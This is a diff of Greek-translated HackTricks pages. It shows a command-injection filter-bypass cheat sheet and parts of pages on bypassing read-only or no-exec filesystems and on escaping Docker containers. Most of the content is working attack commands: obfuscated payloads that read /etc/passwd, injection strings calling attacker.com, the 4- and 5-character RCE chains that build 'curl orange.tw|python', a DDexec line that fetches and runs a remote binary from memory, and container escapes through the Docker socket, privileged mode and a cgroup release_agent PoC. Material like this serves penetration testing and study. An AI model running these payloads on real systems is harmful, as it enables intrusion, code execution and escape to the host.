$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||||
|
$(rev<<<'imaohw') #whoami
|
||||||
|
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||||
|
|
||||||
|
|
||||||
|
# Execution through $0
|
||||||
|
echo whoami|$0
|
||||||
|
|
||||||
|
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||||
|
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||||
|
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||||
|
|
||||||
|
# Fake commands
|
||||||
|
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||||
|
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||||
|
|
||||||
|
# Concatenation of strings using history
|
||||||
|
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||||
|
mi # This will throw an error
|
||||||
|
whoa # This will throw an error
|
||||||
|
!-1!-2 # This will execute whoami
|
||||||
|
```
|
||||||
|
### Παράκαμψη απαγορευμένων κενών
|
||||||
|
```bash
|
||||||
|
# {form}
|
||||||
|
{cat,lol.txt} # cat lol.txt
|
||||||
|
{echo,test} # echo test
|
||||||
|
|
||||||
|
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||||
|
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||||
|
cat$IFS/etc/passwd # cat /etc/passwd
|
||||||
|
|
||||||
|
# Put the command line in a variable and then execute it
|
||||||
|
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||||
|
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||||
|
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||||
|
# Other way, just change each space for ${IFS}
|
||||||
|
echo${IFS}test
|
||||||
|
|
||||||
|
# Using hex format
|
||||||
|
X=$'cat\x20/etc/passwd'&&$X
|
||||||
|
|
||||||
|
# Using tabs
|
||||||
|
echo "ls\x09-l" | bash
|
||||||
|
|
||||||
|
# New lines
|
||||||
|
p\
|
||||||
|
i\
|
||||||
|
n\
|
||||||
|
g # These 4 lines will equal to ping
|
||||||
|
|
||||||
|
# Undefined variables and !
|
||||||
|
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||||
|
uname!-1\-a # This equals to uname -a
|
||||||
|
```
|
||||||
|
### Αναστροφή και κάθετο πέρασμα
|
||||||
|
```bash
|
||||||
|
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||||
|
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||||
|
```
|
||||||
|
### Παράκαμψη αγωγών
|
||||||
|
```bash
|
||||||
|
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||||
|
```
|
||||||
|
### Παράκαμψη με κωδικοποίηση hex
|
||||||
|
```bash
|
||||||
|
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||||
|
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||||
|
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||||
|
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||||
|
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||||
|
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||||
|
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||||
|
```
|
||||||
|
### Παράκαμψη IPs
|
||||||
|
```bash
|
||||||
|
# Decimal IPs
|
||||||
|
127.0.0.1 == 2130706433
|
||||||
|
```
|
||||||
|
### Εξαγωγή δεδομένων με βάση τον χρόνο
|
||||||
|
```bash
|
||||||
|
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
|
```
|
||||||
|
### Λήψη χαρακτήρων από μεταβλητές περιβάλλοντος
|
||||||
|
```bash
|
||||||
|
echo ${LS_COLORS:10:1} #;
|
||||||
|
echo ${PATH:0:1} #/
|
||||||
|
```
|
||||||
|
### Διαρροή δεδομένων DNS
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το **burpcollab** ή το [**pingb**](http://pingb.in) για παράδειγμα.
|
||||||
|
|
||||||
|
### Ενσωματωμένες εντολές
|
||||||
|
|
||||||
|
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές λειτουργίες και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο ενσωματωμένων για να λάβετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλες** τις **ενσωματωμένες**, οπότε θα πρέπει **να γνωρίζετε όλες τις επιλογές** σας για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από το [**devploit**](https://twitter.com/devploit).\
|
||||||
|
Καταρχάς ελέγξτε όλες τις [**ενσωματωμένες εντολές κελύφους**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Έπειτα εδώ έχετε μερικές **συστάσεις**:
|
||||||
|
```bash
|
||||||
|
# Get list of builtins
|
||||||
|
declare builtins
|
||||||
|
|
||||||
|
# In these cases PATH won't be set, so you can try to set it
|
||||||
|
PATH="/bin" /bin/ls
|
||||||
|
export PATH="/bin"
|
||||||
|
declare PATH="/bin"
|
||||||
|
SHELL=/bin/bash
|
||||||
|
|
||||||
|
# Hex
|
||||||
|
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||||
|
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||||
|
|
||||||
|
# Input
|
||||||
|
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||||
|
read aaa; eval $aaa
|
||||||
|
|
||||||
|
# Get "/" char using printf and env vars
|
||||||
|
printf %.1s "$PWD"
|
||||||
|
## Execute /bin/ls
|
||||||
|
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||||
|
## To get several letters you can use a combination of printf and
|
||||||
|
declare
|
||||||
|
declare functions
|
||||||
|
declare historywords
|
||||||
|
|
||||||
|
# Read flag in current dir
|
||||||
|
source f*
|
||||||
|
flag.txt:1: command not found: CTF{asdasdasd}
|
||||||
|
|
||||||
|
# Read file with read
|
||||||
|
while read -r line; do echo $line; done < /etc/passwd
|
||||||
|
|
||||||
|
# Get env variables
|
||||||
|
declare
|
||||||
|
|
||||||
|
# Get history
|
||||||
|
history
|
||||||
|
declare history
|
||||||
|
declare historywords
|
||||||
|
|
||||||
|
# Disable special builtins chars so you can abuse them as scripts
|
||||||
|
[ #[: ']' expected
|
||||||
|
## Disable "[" as builtin and enable it as script
|
||||||
|
enable -n [
|
||||||
|
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||||
|
chmod +x [
|
||||||
|
export PATH=/tmp:$PATH
|
||||||
|
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||||
|
```
|
||||||
|
### Πολύγλωτη εντολή εισβολής
|
||||||
|
```bash
|
||||||
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
|
```
|
||||||
|
### Αναστροφή πιθανών regexes
|
||||||
|
```bash
|
||||||
|
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||||
|
1%0a`curl http://attacker.com`
|
||||||
|
```
|
||||||
|
### Bashfuscator
|
||||||
|
```bash
|
||||||
|
# From https://github.com/Bashfuscator/Bashfuscator
|
||||||
|
./bashfuscator -c 'cat /etc/passwd'
|
||||||
|
```
|
||||||
|
### RCE με 5 χαρακτήρες
|
||||||
|
```bash
|
||||||
|
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||||
|
#Oragnge Tsai solution
|
||||||
|
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||||
|
http://host/?cmd=>ls\
|
||||||
|
http://host/?cmd=ls>_
|
||||||
|
http://host/?cmd=>\ \
|
||||||
|
http://host/?cmd=>-t\
|
||||||
|
http://host/?cmd=>\>g
|
||||||
|
http://host/?cmd=ls>>_
|
||||||
|
|
||||||
|
## Step2: generate `curl orange.tw|python` to file "g"
|
||||||
|
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||||
|
http://host/?cmd=>on
|
||||||
|
http://host/?cmd=>th\
|
||||||
|
http://host/?cmd=>py\
|
||||||
|
http://host/?cmd=>\|\
|
||||||
|
http://host/?cmd=>tw\
|
||||||
|
http://host/?cmd=>e.\
|
||||||
|
http://host/?cmd=>ng\
|
||||||
|
http://host/?cmd=>ra\
|
||||||
|
http://host/?cmd=>o\
|
||||||
|
http://host/?cmd=>\ \
|
||||||
|
http://host/?cmd=>rl\
|
||||||
|
http://host/?cmd=>cu\
|
||||||
|
http://host/?cmd=sh _
|
||||||
|
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||||
|
|
||||||
|
## Finally execute the file "g"
|
||||||
|
http://host/?cmd=sh g
|
||||||
|
|
||||||
|
|
||||||
|
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||||
|
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||||
|
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||||
|
## Execute tar command over a folder
|
||||||
|
http://52.199.204.34/?cmd=>tar
|
||||||
|
http://52.199.204.34/?cmd=>zcf
|
||||||
|
http://52.199.204.34/?cmd=>zzz
|
||||||
|
http://52.199.204.34/?cmd=*%20/h*
|
||||||
|
|
||||||
|
# Another curiosity if you can read files of the current folder
|
||||||
|
ln /f*
|
||||||
|
## If there is a file /flag.txt that will create a hard link
|
||||||
|
## to it in the current folder
|
||||||
|
```
|
||||||
|
### RCE με 4 χαρακτήρες
|
||||||
|
```bash
|
||||||
|
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||||
|
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||||
|
# and then generate the full command in filenames
|
||||||
|
# generate "g> ht- sl" to file "v"
|
||||||
|
'>dir'
|
||||||
|
'>sl'
|
||||||
|
'>g\>'
|
||||||
|
'>ht-'
|
||||||
|
'*>v'
|
||||||
|
|
||||||
|
# reverse file "v" to file "x", content "ls -th >g"
|
||||||
|
'>rev'
|
||||||
|
'*v>x'
|
||||||
|
|
||||||
|
# generate "curl orange.tw|python;"
|
||||||
|
'>\;\\'
|
||||||
|
'>on\\'
|
||||||
|
'>th\\'
|
||||||
|
'>py\\'
|
||||||
|
'>\|\\'
|
||||||
|
'>tw\\'
|
||||||
|
'>e.\\'
|
||||||
|
'>ng\\'
|
||||||
|
'>ra\\'
|
||||||
|
'>o\\'
|
||||||
|
'>\ \\'
|
||||||
|
'>rl\\'
|
||||||
|
'>cu\\'
|
||||||
|
|
||||||
|
# got shell
|
||||||
|
'sh x'
|
||||||
|
'sh g'
|
||||||
|
```
|
||||||
|
## Παράκαμψη Περιορισμών Bash σε Λειτουργίες Μόνο για Ανάγνωση/Χωρίς Εκτέλεση/Distroless
|
||||||
|
|
||||||
|
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις προστασίες **μόνο για ανάγνωση και χωρίς εκτέλεση** ή ακόμη και σε ένα διαμέρισμα distroless, υπάρχουν ακόμη τρόποι για **εκτέλεση αυθαίρετων δυαδικών αρχείων, ακόμη και ενός κελύφους!**
|
||||||
|
|
||||||
|
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||||
|
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Παράκαμψη Chroot & Άλλων Φυλακών
|
||||||
|
|
||||||
|
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||||
|
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Αναφορές & Περισσότερα
|
||||||
|
|
||||||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||||
|
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||||
|
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||||
|
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε Πρόσβαση Σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# Παράκαμψη προστασίας FS: μόνο για ανάγνωση / χωρίς εκτέλεση / Distroless
|
# Bypass FS protections: read-only / no-exec / Distroless
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αδύνατου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
|
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αδύνατου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
|
||||||
|
|
||||||
|
@ -81,10 +81,12 @@ securityContext:
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
|
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||||
```
|
```
|
||||||
|
|
||||||
### MemExec
|
### MemExec
|
||||||
|
|
||||||
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό** δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά για φόρτωση και εκτέλεση**.
|
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό** δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά για φόρτωση και εκτέλεση**.
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Διαρροή / Ανόδου Προνομίων στο Docker
|
# Docker Breakout / Privilege Escalation
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -34,12 +34,15 @@
|
||||||
|
|
||||||
Αν κάπως βρείτε ότι το **docker socket είναι συνδεδεμένο** μέσα στο docker container, θα μπορείτε να αποδράσετε από αυτό.\
|
Αν κάπως βρείτε ότι το **docker socket είναι συνδεδεμένο** μέσα στο docker container, θα μπορείτε να αποδράσετε από αυτό.\
|
||||||
Αυτό συμβαίνει συνήθως σε docker containers που για κάποιο λόγο χρειάζεται να συνδεθεί στον docker daemon για να εκτελέσει ενέργειες.
|
Αυτό συμβαίνει συνήθως σε docker containers που για κάποιο λόγο χρειάζεται να συνδεθεί στον docker daemon για να εκτελέσει ενέργειες.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Search the socket
|
#Search the socket
|
||||||
find / -name docker.sock 2>/dev/null
|
find / -name docker.sock 2>/dev/null
|
||||||
#It's usually in /run/docker.sock
|
#It's usually in /run/docker.sock
|
||||||
```
|
```
|
||||||
|
|
||||||
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε τα κανονικά εντολές docker για να επικοινωνήσετε με τον docker daemon:
|
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε τα κανονικά εντολές docker για να επικοινωνήσετε με τον docker daemon:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List images to use one
|
#List images to use one
|
||||||
docker images
|
docker images
|
||||||
|
@ -53,6 +56,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||||||
# Get full privs in container without --privileged
|
# Get full privs in container without --privileged
|
||||||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Σε περίπτωση που το **docker socket βρίσκεται σε μη αναμενόμενη θέση** μπορείτε ακόμα να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
|
Σε περίπτωση που το **docker socket βρίσκεται σε μη αναμενόμενη θέση** μπορείτε ακόμα να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -75,9 +79,11 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
||||||
Θα πρέπει να ελέγξετε τις δυνατότητες του container, αν έχει οποιαδήποτε από τις παρακάτω, ενδέχεται να μπορείτε να δραπετεύσετε από αυτό: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
Θα πρέπει να ελέγξετε τις δυνατότητες του container, αν έχει οποιαδήποτε από τις παρακάτω, ενδέχεται να μπορείτε να δραπετεύσετε από αυτό: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||||
|
|
||||||
Μπορείτε να ελέγξετε τις τρέχουσες δυνατότητες του container χρησιμοποιώντας τα **προηγουμένως αναφερθέντα αυτόματα εργαλεία** ή:
|
Μπορείτε να ελέγξετε τις τρέχουσες δυνατότητες του container χρησιμοποιώντας τα **προηγουμένως αναφερθέντα αυτόματα εργαλεία** ή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
capsh --print
|
capsh --print
|
||||||
```
|
```
|
||||||
|
|
||||||
Στην ακόλουθη σελίδα μπορείτε **να μάθετε περισσότερα σχετικά με τις δυνατότητες του Linux** και πώς να τις καταχραστείτε για να δραπετεύσετε/εξελίξετε προνόμια:
|
Στην ακόλουθη σελίδα μπορείτε **να μάθετε περισσότερα σχετικά με τις δυνατότητες του Linux** και πώς να τις καταχραστείτε για να δραπετεύσετε/εξελίξετε προνόμια:
|
||||||
|
|
||||||
{% content-ref url="../../linux-capabilities.md" %}
|
{% content-ref url="../../linux-capabilities.md" %}
|
||||||
|
@ -109,17 +115,21 @@ capsh --print
|
||||||
Με αυτές τις άδειες μπορείτε απλά **να μεταβείτε στο χώρο ονομάτων ενός διεργασίας που εκτελείται στον κεντρικό υπολογιστή ως ριζοχρήστης** όπως το init (pid:1) απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
Με αυτές τις άδειες μπορείτε απλά **να μεταβείτε στο χώρο ονομάτων ενός διεργασίας που εκτελείται στον κεντρικό υπολογιστή ως ριζοχρήστης** όπως το init (pid:1) απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||||
|
|
||||||
Δοκιμάστε το σε έναν ελεγκτή εκτελώντας:
|
Δοκιμάστε το σε έναν ελεγκτή εκτελώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Προνομιούχος
|
### Προνομιούχος
|
||||||
|
|
||||||
Απλά με τη σημαία προνομιούχου μπορείτε να προσπαθήσετε να **έχετε πρόσβαση στο δίσκο του υπολογιστή** ή να προσπαθήσετε να **δραπετεύσετε καταχρώμενοι το release\_agent ή άλλες διαφυγές**.
|
Απλά με τη σημαία προνομιούχου μπορείτε να προσπαθήσετε να **έχετε πρόσβαση στο δίσκο του υπολογιστή** ή να προσπαθήσετε να **δραπετεύσετε καταχρώμενοι το release\_agent ή άλλες διαφυγές**.
|
||||||
|
|
||||||
Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα container εκτελώντας:
|
Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα container εκτελώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run --rm -it --privileged ubuntu bash
|
docker run --rm -it --privileged ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Προσάρτηση Δίσκου - Poc1
|
#### Προσάρτηση Δίσκου - Poc1
|
||||||
|
|
||||||
Οι ρυθμισμένες σωστά docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε docker εντολές που έχουν ρυθμιστεί λανθασμένα όπου ορίζεται η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία γράμματα, είναι δυνατόν να αποκτηθούν δικαιώματα για να δείτε τον δίσκο του κεντρικού υπολογιστή.
|
Οι ρυθμισμένες σωστά docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε docker εντολές που έχουν ρυθμιστεί λανθασμένα όπου ορίζεται η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία γράμματα, είναι δυνατόν να αποκτηθούν δικαιώματα για να δείτε τον δίσκο του κεντρικού υπολογιστή.
|
||||||
|
@ -127,15 +137,18 @@ docker run --rm -it --privileged ubuntu bash
|
||||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||||
|
|
||||||
Έτσι, για να πάρετε τον έλεγχο του κεντρικού υπολογιστή, είναι εύκολο:
|
Έτσι, για να πάρετε τον έλεγχο του κεντρικού υπολογιστή, είναι εύκολο:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mkdir -p /mnt/hola
|
mkdir -p /mnt/hola
|
||||||
mount /dev/sda1 /mnt/hola
|
mount /dev/sda1 /mnt/hola
|
||||||
```
|
```
|
||||||
|
|
||||||
Και ορίστε! Τώρα μπορείτε να έχετε πρόσβαση στο σύστημα αρχείων του κεντρικού υπολογιστή επειδή είναι προσαρτημένο στον φάκελο `/mnt/hola`.
|
Και ορίστε! Τώρα μπορείτε να έχετε πρόσβαση στο σύστημα αρχείων του κεντρικού υπολογιστή επειδή είναι προσαρτημένο στον φάκελο `/mnt/hola`.
|
||||||
|
|
||||||
#### Προσάρτηση Δίσκου - Poc2
|
#### Προσάρτηση Δίσκου - Poc2
|
||||||
|
|
||||||
Μέσα στο container, ένας επιτιθέμενος μπορεί να προσπαθήσει να κερδίσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του κεντρικού υπολογιστή μέσω ενός εγγράψιμου όγκου hostPath που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο container για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το διάνυσμα του επιτιθέμενου:
|
Μέσα στο container, ένας επιτιθέμενος μπορεί να προσπαθήσει να κερδίσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του κεντρικού υπολογιστή μέσω ενός εγγράψιμου όγκου hostPath που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο container για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το διάνυσμα του επιτιθέμενου:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
### Check if You Can Write to a File-system
|
### Check if You Can Write to a File-system
|
||||||
echo 1 > /proc/sysrq-trigger
|
echo 1 > /proc/sysrq-trigger
|
||||||
|
@ -156,6 +169,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
||||||
### debugfs (Interactive File System Debugger)
|
### debugfs (Interactive File System Debugger)
|
||||||
debugfs /dev/sda1
|
debugfs /dev/sda1
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Απόδραση με προνομιούχο χρήστη εκμεταλλευόμενος τον υπάρχοντα release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
#### Απόδραση με προνομιούχο χρήστη εκμεταλλευόμενος τον υπάρχοντα release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||||
|
|
||||||
{% code title="Αρχικό PoC" %}
|
{% code title="Αρχικό PoC" %}
|
||||||
|
@ -192,48 +206,6 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||||||
# Reads the output
|
# Reads the output
|
||||||
cat /o
|
cat /o
|
||||||
```
